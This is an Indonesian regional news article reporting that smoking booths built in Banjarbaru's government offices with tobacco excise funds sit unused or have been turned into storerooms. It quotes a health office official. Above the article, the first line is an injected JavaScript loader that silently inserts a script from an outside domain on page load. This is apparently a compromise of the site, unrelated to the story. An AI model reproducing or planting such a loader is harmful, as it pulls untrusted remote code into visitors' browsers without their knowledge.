(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pada tahun 2016 Pemkot Banjarbaru, melalui Dinas Kesehatan (Dinkes) membangun lima unit bilik merokok alias smoking area. Dua dari lima bilik merokok yang dibangun menggunakan dana bagi hasil cukai rokok, kiriman pemerintah pusat ini ada di lingkungan balaikota.
Sejatinya Balaikota ingin dijadikan wilayah perkantoran steril dari asap rokok menjadi dasar utama pembangunan bilik berukuran sekitar 3×3 meter ini.
Mirisnya, keberadaan bilik merokok menjadi ‘berhala’ hanya habiskan anggaran semata. Lantaran, sejak rampung dibangun, ruang khusus merokok itu nganggur. Ironisnya lagi, bilik beralih fungsi menjadi sebuah gudang. Pantauan Kanal Kalimantan sejumlah tumpukan kardus bekas menggunung di dalam bilik.
Terkait keberadaan bilik merokok yang menjadi ‘berhala’, Maulidah, Kepala Seksi (Kasi) Pengendalian Penyakit Tidak Menular dan Kesehatan Jiwa Dinkes Kota Banjarbaru membenarkan, pembangunan lima bilik merokok dilaksanakan oleh Dinkes Kota Banjarbaru melalui dana bagi hasil cukai rokok pemerintah pusat dua tahun lalu.
“Selain di Kantor Sekretariat Daerah, bilik merokok juga dibangun di Kantor Dinas Kependudukan dan Pencatatan Sipil, dan di lingkungan Kantor Dinas Komunikasi dan Informatika,†kata Maulidah.
Namun terkait alih fungsi bilik untuk peruntukan lain, termasuk gudang, Maulidah mengatakan, Dinkes angkat tangan. Menurutnya, kewenangan Dinas Kesehatan hanya di tahap pembangunan. Karena setelah serah terima aset dilakukan, kewenangan ada di masing-masing Satuan Kerja Perangkat Daerah (SKPD) tempat bilik merokok berada.
“Bilik merokok yang ada di lingkungan Dinas Komunikasi dan Informatika jika tidak salah juga beralih fungsi menjadi ruang siar. Karena sebelumnya sempat konsultasi ke kami untuk menggunakan ruangan bilik merokok untuk peruntukan lain. Namun karena kewenangan sebatas di tahap pembangunan, Dinkes tidak dapat bisa mengeluarkan rekomendasi untuk itu,†kata Maulidah.
Diakuinya, keberadaan bilik merokok sebagai upaya meminimalisir dampak buruk asap rokok di lingkungan kantor pemerintahan sempat disampaikan ke pemerintah pusat, dalam hal ini Kementerian Kesehatan RI. Namun berdasarkan berdasarkan arahan kementerian, konsep tepat mengurangi dampak buruk asap rokok justru dengan pola ruang terbuka.
Dengan catatan, kata Maulidah, di sekitar ruang terbuka tempat orang merokok tersebut banyak tumbuh pepohonan yang dapat mengubah bahaya dari asap rokok menjadi oksigen. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.